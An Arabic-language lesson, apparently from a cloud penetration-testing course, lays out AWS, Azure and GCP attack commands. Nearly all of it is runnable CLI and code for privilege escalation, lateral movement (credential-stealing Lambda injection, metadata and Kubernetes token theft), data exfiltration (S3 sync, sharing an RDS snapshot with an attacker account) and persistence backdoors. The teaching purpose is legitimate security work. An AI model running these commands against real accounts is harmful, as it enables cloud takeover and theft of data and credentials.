اختبار اختراق السحابة والتقييم
تقنيات استغلال السحابة
4 دقيقة للقراءة
فهم مسارات الاستغلال الخاصة بالسحابة ضروري لكل من الاختبار الهجومي والتقوية الدفاعية. إساءة سياسة IAM وتصعيد الصلاحيات وتقنيات الحركة الجانبية تختلف بشكل كبير عن هجمات البنية التحتية التقليدية.
تصعيد صلاحيات AWS
مسارات التصعيد القائمة على IAM
iam:PassRole + إنشاء خدمة:
# إذا كان بإمكانك تمرير الأدوار وإنشاء Lambda
aws iam create-role --role-name EscalateRole --assume-role-policy-document file://trust.json
# إنشاء Lambda بدور admin
aws lambda create-function \
--function-name escalate \
--runtime python3.9 \
--role arn:aws:iam::123456789012:role/AdminRole \
--handler index.handler \
--zip-file fileb://payload.zip
# كود Lambda يسترجع بيانات اعتماد admin عبر metadata
iam:CreatePolicyVersion:
# إنشاء إصدار سياسة جديد بصلاحيات admin
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
--policy-document file://admin-policy.json \
--set-as-default
iam:AttachUserPolicy / AttachRolePolicy:
# إرفاق AdministratorAccess
aws iam attach-user-policy \
--user-name compromised-user \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
متجهات التصعيد الشائعة
| الصلاحية | مسار التصعيد |
|---|---|
iam:PassRole + lambda:CreateFunction |
إنشاء Lambda بدور ذو صلاحيات |
iam:PassRole + ec2:RunInstances |
تشغيل EC2 بـ instance profile |
iam:CreatePolicyVersion |
تعديل السياسة لإضافة صلاحيات |
iam:AttachUserPolicy |
إرفاق سياسة admin |
iam:PutUserPolicy |
إضافة سياسة admin inline |
sts:AssumeRole |
افتراض دور ذو صلاحيات أعلى |
lambda:UpdateFunctionCode |
تعديل Lambda موجود |
ec2:ModifyInstanceAttribute |
تغيير userData للـ instance |
الكشف الآلي
# Pacu - إطار استغلال AWS
python3 pacu.py
# داخل Pacu:
> run iam__privesc_scan
> run iam__enum_permissions
تصعيد صلاحيات Azure
إساءة تعيين الأدوار
# إذا كان لديك Owner أو User Access Administrator
az role assignment create \
--assignee user@domain.com \
--role "Owner" \
--scope /subscriptions/SUBSCRIPTION_ID
استغلال Service Principal
# إنشاء service principal بوصول ذو صلاحيات
az ad sp create-for-rbac \
--name "attacker-sp" \
--role Contributor \
--scopes /subscriptions/SUBSCRIPTION_ID
# استخدام بيانات الاعتماد المُرجعة
az login --service-principal \
-u APP_ID \
-p PASSWORD \
--tenant TENANT_ID
إساءة Managed Identity
# من VM/App Service مخترق بـ managed identity
# الحصول على رمز الوصول
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# استخدام الرمز لاستدعاءات ARM API
curl -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01"
تصعيد Azure AD
| الصلاحية | التصعيد |
|---|---|
| Application.ReadWrite.All | إنشاء تطبيق بصلاحيات API ذات صلاحيات |
| RoleManagement.ReadWrite.Directory | تعيين Global Admin |
| User.ReadWrite.All | تعديل سمات المستخدم |
| Group.ReadWrite.All | إضافة النفس لمجموعات ذات صلاحيات |
تصعيد صلاحيات GCP
إنشاء مفتاح Service Account
# إذا كان لديك iam.serviceAccountKeys.create
gcloud iam service-accounts keys create key.json \
--iam-account admin-sa@project.iam.gserviceaccount.com
# المصادقة كـ service account
gcloud auth activate-service-account --key-file=key.json
إساءة setIamPolicy
# إذا كان لديك setIamPolicy على المشروع
gcloud projects set-iam-policy PROJECT_ID policy.json
# policy.json يمنح owner للمهاجم
{
"bindings": [{
"role": "roles/owner",
"members": ["user:attacker@gmail.com"]
}]
}
انتحال الهوية
# إذا كان بإمكانك انتحال service accounts
gcloud auth print-access-token \
--impersonate-service-account=admin@project.iam.gserviceaccount.com
الحركة الجانبية
الوصول عبر حسابات AWS
# تعداد الأدوار القابلة للافتراض
aws iam list-roles \
--query 'Roles[*].[RoleName,AssumeRolePolicyDocument]'
# افتراض دور عبر الحسابات
aws sts assume-role \
--role-arn arn:aws:iam::TARGET_ACCOUNT:role/TrustedRole \
--role-session-name lateral-movement
# استخدام بيانات الاعتماد الجديدة
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
حقن كود دالة Lambda
# تعديل دالة Lambda موجودة
cat > payload.py << 'EOF'
import boto3
import os
def handler(event, context):
client = boto3.client('sts')
creds = client.assume_role(
RoleArn=os.environ['TARGET_ROLE'],
RoleSessionName='injected'
)
# تسريب بيانات الاعتماد
return creds['Credentials']
EOF
zip payload.zip payload.py
aws lambda update-function-code \
--function-name target-function \
--zip-file fileb://payload.zip
رمز Kubernetes Service Account
# من pod مخترق
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# استخدام الرمز للوصول لـ API
kubectl --token=$TOKEN --server=https://kubernetes.default auth can-i --list
kubectl --token=$TOKEN get secrets -A
تسريب البيانات
تسريب S3 Bucket
# نسخ bucket بالكامل
aws s3 sync s3://target-bucket ./exfil/
# إذا كان bucket عام
aws s3 cp s3://target-bucket/sensitive.db ./exfil/ --no-sign-request
مشاركة لقطة قاعدة البيانات
# مشاركة لقطة RDS مع حساب المهاجم
aws rds modify-db-snapshot-attribute \
--db-snapshot-identifier target-snapshot \
--attribute-name restore \
--values-to-add ATTACKER_ACCOUNT_ID
# في حساب المهاجم، استعادة اللقطة
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier stolen-db \
--db-snapshot-identifier arn:aws:rds:region:VICTIM:snapshot:target-snapshot
تقنيات الثبات
إنشاء مستخدم IAM/مفتاح وصول
# إنشاء مستخدم خلفي
aws iam create-user --user-name service-automation
# إنشاء مفاتيح وصول
aws iam create-access-key --user-name service-automation
# إرفاق الصلاحيات
aws iam attach-user-policy \
--user-name service-automation \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
باب خلفي Lambda
# إنشاء Lambda مستمر يُشغّل بأحداث CloudWatch
aws events put-rule \
--name backdoor-trigger \
--schedule-expression "rate(1 day)"
aws lambda add-permission \
--function-name backdoor \
--statement-id events \
--action lambda:InvokeFunction \
--principal events.amazonaws.com
aws events put-targets \
--rule backdoor-trigger \
--targets "Id"="1","Arn"="arn:aws:lambda:region:account:function:backdoor"
قائمة تحقق الاستغلال
| المرحلة | AWS | Azure | GCP |
|---|---|---|---|
| تصعيد الصلاحيات | PassRole، CreatePolicyVersion | تعيين الأدوار، Managed Identity | setIamPolicy، مفاتيح SA |
| الجانبي | AssumeRole، حقن Lambda | Service principals | الانتحال |
| الثبات | مستخدمو IAM، Lambda | تسجيل التطبيق | مفاتيح SA |
| التسريب | S3 sync، مشاركة اللقطة | تنزيل Blob | gsutil |
التالي، سنستكشف أدوات وأطر تقييم أمان السحابة. :::